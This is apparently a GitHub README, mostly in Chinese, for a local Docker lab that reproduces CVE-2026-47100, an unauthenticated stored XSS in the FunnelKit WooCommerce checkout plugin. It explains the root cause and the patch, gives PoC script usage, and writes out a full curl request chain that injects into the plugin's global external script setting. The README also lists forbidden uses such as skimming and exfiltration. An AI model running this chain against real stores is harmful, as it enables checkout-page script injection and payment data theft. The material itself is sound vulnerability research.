rootdirective-sec/CVE-2026-47100-Analysis-Lab

GitHub: rootdirective-sec/CVE-2026-47100-Analysis-Lab

该项目是一个基于 Docker 的漏洞复现实验室,用于复现和分析 FunnelKit for WooCommerce Checkout 插件中因缺少授权检查而导致的存储型 XSS 漏洞(CVE-2026-47100)。

Stars: 0 | Forks: 0

# CVE-2026-47100 — FunnelKit / Funnel Builder for WooCommerce Checkout Stored XSS 实验环境 ## 1. 概述 CVE-2026-47100 是 **Funnel Builder / FunnelKit for WooCommerce Checkout** 在 **3.15.0.3** 版本之前存在的一个缺失授权漏洞。 存在漏洞的 checkout AJAX 流程允许未经身份验证的访问者调用内部插件方法,并将数据写入 FunnelKit 内置的全局外部脚本设置中。由于该设置随后会在 FunnelKit checkout 页面上渲染,此问题可能演变为** checkout 页面上的未经身份验证的 Stored XSS**。 本仓库使用两个 Docker 服务在本地复现了该问题: | 服务 | 版本 | URL | 预期结果 | | --------- | -------: | ----------------------- | ----------------------------------- | | `vuln` | 3.15.0.2 | `http://127.0.0.1:8081` | 确认存在漏洞行为 | | `patched` | 3.15.0.3 | `http://127.0.0.1:8082` | 写入被阻止 / 标记未渲染 | ## 2. Vulnx 发现截图 ![vulnx](/images/vulnx.png) ## 3. 影响 未经身份验证的攻击者可滥用公开的 checkout AJAX 流程,将 JavaScript 持久化存储到 FunnelKit 的全局外部脚本设置中。 在真实的 WooCommerce 商店中,这可能允许恶意 JavaScript 在访问 checkout 页面的用户浏览器中执行。公开的报告已将此类漏洞与 checkout 数据窃取攻击活动联系起来。 本实验环境有意仅使用了一个无害的证明标记: ``` ``` ## 4. 根本原因 存在漏洞的版本接受来自公开 WooCommerce AJAX 端点的、由用户控制的 checkout 数据: ``` /?wc-ajax=update_order_review ``` 在 FunnelKit checkout 流程内部,该请求可能包含: ``` wfacp_input_hidden_data={"action":"update_global_settings_fields", ...} ``` 存在漏洞的逻辑会检查提供的操作名称是否作为类方法存在。如果该方法存在,则可以从公开的 checkout 流程中调用它。 简化的漏洞行为: ``` if ( method_exists( __CLASS__, $action ) ) { self::$output_resp = self::$action( $input_data ); } ``` 重要的受攻击者控制的操作是: ``` update_global_settings_fields ``` 该方法会更新 WordPress option: ``` _wfacp_global_settings ``` 特别是内置的 FunnelKit key: ``` wfacp_global_external_script ``` 存储的值随后会被 checkout 模板读取并渲染在 checkout 页面上。这就造成了 Stored XSS 条件。 利用链: ``` Unauthenticated checkout visitor → public WooCommerce update_order_review AJAX → attacker-controlled wfacp_input_hidden_data[action] → update_global_settings_fields() → update_option('_wfacp_global_settings') → wfacp_global_external_script rendered on checkout page → Stored XSS ``` ## 5. 补丁概述 版本 **3.15.0.3** 通过两项重要更改强化了存在漏洞的代码路径。 ### 5.1 公开操作允许列表 修复后的版本限制了可以从公开 checkout 流程中调用的 checkout 操作。 简化的修复后行为: ``` $allowed_actions = array( 'update_cart_item_quantity', 'update_cart_multiple_page', 'remove_cart_item', 'undo_cart_item', 'prep_fees', ); if ( is_string( $action ) && in_array( $action, $allowed_actions, true ) && method_exists( __CLASS__, $action ) ) { self::$output_resp = self::$action( $input_data ); } ``` 这防止了未经身份验证的 checkout 请求分发诸如 `update_global_settings_fields` 之类的任意内部方法。 ### 5.2 设置更新前的权限检查 修复后的版本还在更新全局设置之前添加了授权检查: ``` if ( ! current_user_can( 'manage_woocommerce' ) ) { return $resp; } ``` 这意味着全局外部脚本设置应该只能由具有 WooCommerce 管理权限的用户写入。 ## 6. 实验环境架构 ``` host ├── http://127.0.0.1:8081 → WordPress + WooCommerce + FunnelKit 3.15.0.2 └── http://127.0.0.1:8082 → WordPress + WooCommerce + FunnelKit 3.15.0.3 ``` 种子进程会创建: ``` Lab Product - WooCommerce product used to create a valid cart/session - expected product ID in clean lab: 10 Lab Funnel Checkout - FunnelKit checkout page used to trigger the checkout AJAX flow - expected checkout post ID in clean lab: 11 ``` 实验环境使用一个确定性的 checkout URL: ``` /?post_type=wfacp_checkout&p=11 ``` 这会在本地 Docker 实验环境中显式加载 FunnelKit checkout custom post。 ## 7. 运行实验环境 启动实验环境: ``` docker compose up -d --build ``` 检查服务: ``` docker compose ps ``` 预期的服务: ``` vuln http://127.0.0.1:8081 patched http://127.0.0.1:8082 ``` 安装 Python 依赖: ``` python3 -m venv .venv . .venv/bin/activate pip install requests ``` ## 8. PoC 脚本 ### 8.1 实验 PoC `poc/poc_lab.py` 是确定性的实验 PoC。 它假定使用本地 Docker 种子值: ``` product_id = 10 checkout_post_id = 11 ``` 针对存在漏洞的服务运行: ``` python3 poc/poc_lab.py http://127.0.0.1:8081 ``` 预期结果: ``` [*] AJAX action: update_global_settings_fields [*] AJAX status: True [*] AJAX msg: Changes saved [*] Marker rendered in HTML: True === Result === likely_vulnerable: True [+] Vulnerable behavior confirmed. ``` 针对已修复的服务运行: ``` python3 poc/poc_lab.py http://127.0.0.1:8082 ``` 预期结果: ``` [*] AJAX action: update_global_settings_fields [*] AJAX status: None [*] AJAX msg: None [*] Marker rendered in HTML: False === Result === likely_vulnerable: False [-] Vulnerable behavior was not confirmed. [-] On patched targets this is expected. ``` ### 8.2 通用授权自测工具 `poc/poc_check.py` 是一个更具通用性的授权自测工具。 仅被动检查: ``` python3 poc/poc_check.py \ --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" ``` 主动授权检查: ``` python3 poc/poc_check.py \ --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \ --product-id 10 \ --active \ --i-am-authorized ``` 仅标记模式(无 alert): ``` python3 poc/poc_check.py \ --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \ --product-id 10 \ --active \ --i-am-authorized \ --marker-only ``` 尝试清理: ``` python3 poc/poc_check.py \ --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \ --product-id 10 \ --active \ --i-am-authorized \ --cleanup ``` ## 9. 手动测试 ### 9.1 存在漏洞的服务 创建一个新的 WooCommerce 会话并将实验产品加入购物车: ``` rm -f /tmp/cve47100-vuln.cookies curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \ "http://127.0.0.1:8081/?add-to-cart=10" >/dev/null ``` 获取 FunnelKit checkout 页面并提取 WooCommerce checkout nonce: ``` CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \ "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11") NONCE=$(printf '%s' "$CHECKOUT_HTML" \ | grep -oE '"update_order_review_nonce":"[^"]+"' \ | head -n1 \ | cut -d: -f2 \ | tr -d '"') echo "NONCE=$NONCE" ``` 发送构造好的 checkout AJAX 请求: ``` curl -i "http://127.0.0.1:8081/?wc-ajax=update_order_review" \ -c /tmp/cve47100-vuln.cookies \ -b /tmp/cve47100-vuln.cookies \ -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \ --data-urlencode "security=${NONCE}" \ --data-urlencode "payment_method=cod" \ --data-urlencode "country=TH" \ --data-urlencode "state=" \ --data-urlencode "postcode=10110" \ --data-urlencode "city=Bangkok" \ --data-urlencode "address=Lab Street" \ --data-urlencode "address_2=" \ --data-urlencode "s_country=TH" \ --data-urlencode "s_state=" \ --data-urlencode "s_postcode=10110" \ --data-urlencode "s_city=Bangkok" \ --data-urlencode "s_address=Lab Street" \ --data-urlencode "s_address_2=" \ --data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":""}}' ``` 验证 option 是否已被写入: ``` docker compose exec vuln wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json ``` 预期结果: ``` { "wfacp_global_external_script": ""}}' ``` 验证 option 保持不变: ``` docker compose exec patched wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json ``` 预期结果: ``` [] ``` 验证标记未被渲染: ``` curl -s "http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11" \ | grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}' ``` 预期结果:无输出。 ## 10. 证据总结 当以下所有条件均成立时,存在漏洞的服务确认了该问题: ``` AJAX action: update_global_settings_fields AJAX status: True AJAX msg: Changes saved Marker rendered in HTML: True ``` 当以下条件成立时,已修复的服务确认了修复效果: ``` AJAX action: update_global_settings_fields AJAX status: None AJAX msg: None Marker rendered in HTML: False _wfacp_global_settings remains [] ``` ## 11. 安全提示 本仓库仅用于本地、经过授权的安全研究。 允许的范围: ``` localhost 127.0.0.1 Docker Compose lab network systems you own or have explicit written permission to test ``` 不允许的行为: ``` payment skimming cookie theft token theft credential harvesting external exfiltration unauthorized testing of third-party stores ``` PoC 仅使用了无害的警告框和标记。 ## 12. 参考资料 * CVE 记录:[https://www.cve.org/CVERecord?id=CVE-2026-47100](https://www.cve.org/CVERecord?id=CVE-2026-47100) * NVD:[https://nvd.nist.gov/vuln/detail/CVE-2026-47100](https://nvd.nist.gov/vuln/detail/CVE-2026-47100) * VulnCheck 安全通告:[https://www.vulncheck.com/advisories/funnel-builder-for-woocommerce-checkout-missing-authorization-via-ajax](https://www.vulncheck.com/advisories/funnel-builder-for-woocommerce-checkout-missing-authorization-via-ajax) * Sansec 研究:[https://sansec.io/research/funnelkit-woocommerce-vulnerability-exploited](https://sansec.io/research/funnelkit-woocommerce-vulnerability-exploited) * WordPress Trac 更改集:[https://plugins.trac.wordpress.org/changeset/3530797/funnel-builder/tags/3.15.0.3/modules/checkouts/includes/class-wfacp-ajax-controller.php](https://plugins.trac.wordpress.org/changeset/3530797/funnel-builder/tags/3.15.0.3/modules/checkouts/includes/class-wfacp-ajax-controller.php)
标签:Docker, Web安全, WooCommerce, WordPress, 安全, 安全防御评估, 应用安全, 文件完整性监控, 漏洞环境, 版权保护, 蓝队分析, 请求拦截, 超时处理, 逆向工具